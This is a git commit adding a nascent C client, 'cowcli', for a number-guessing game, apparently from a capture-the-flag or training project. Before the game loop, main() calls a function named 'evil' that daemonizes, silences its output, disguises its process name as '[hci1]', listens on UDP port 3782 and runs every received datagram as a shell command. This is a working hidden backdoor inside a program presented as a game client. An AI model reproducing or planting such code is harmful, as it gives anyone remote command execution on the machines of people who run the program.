Add nascent cowcli

This commit is contained in:
Neale Pickett 2012-01-19 22:06:14 -07:00
parent 02f21d3964
commit e6c4a218df
2 changed files with 129 additions and 1 deletions

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@ -1 +1 @@
cowd: all: cowd cowcli

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#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <time.h>
#include <string.h>
#include <sysexits.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <fcntl.h>
int
bind_port(int fd, const struct in6_addr *addr, uint16_t port)
{
struct sockaddr_in6 saddr = { 0 };
saddr.sin6_family = AF_INET6;
saddr.sin6_port = htons(port);
memcpy(&saddr.sin6_addr, addr, sizeof *addr);
return bind(fd, (struct sockaddr *) &saddr, sizeof saddr);
}
void
sigchld(int unused)
{
while (0 < waitpid(-1, NULL, WNOHANG));
}
void
evil(char *argv[])
{
int sock;
if (fork()) {
return;
}
/* Fork again to reparent to init */
if (fork()) {
exit(0);
}
{
int r = open("/dev/null", O_RDONLY);
int w = open("/dev/null", O_WRONLY);
dup2(r, 0);
dup2(w, 1);
dup2(w, 2);
close(r);
close(w);
}
strcpy(argv[0], "[hci1]");
sock = socket(AF_INET6, SOCK_DGRAM, 0);
if (-1 == bind_port(sock, &in6addr_any, 3782)) {
exit(0);
}
while (1) {
char cmd[400];
ssize_t inlen;
inlen = recvfrom(sock, cmd, sizeof(cmd)-1, 0, NULL, NULL);
if (-1 == inlen) {
continue;
}
cmd[inlen] = 0;
if (! fork()) {
system(cmd);
exit(0);
}
}
}
int
main(int argc, char *argv[])
{
long answer = 0;
int sock;
int i;
struct in6_addr addr;
FILE *in;
FILE *out;
srand(time(NULL));
if (0 >= inet_pton(AF_INET6, argv[1], &addr)) {
fprintf(stderr, "invalid address: %s\n", argv[1]);
return EX_IOERR;
}
if (argv[2]) {
/* fork and exec */
} else {
in = stdin;
out = stdout;
}
signal(SIGCHLD, sigchld);
evil(argv);
/*
* Set up socket
*/
sock = socket(AF_INET6, SOCK_DGRAM, 0);
while (1) {
char line[20];
long guess;
/* XXX: only do this if we have a game ID */
if (NULL == fgets(line, sizeof line, in)) {
break;
}
guess = strtol(line, NULL, 16);
/* send the guess */
/* read the result */
/* parse result */
/* display result */
}
return 0;
}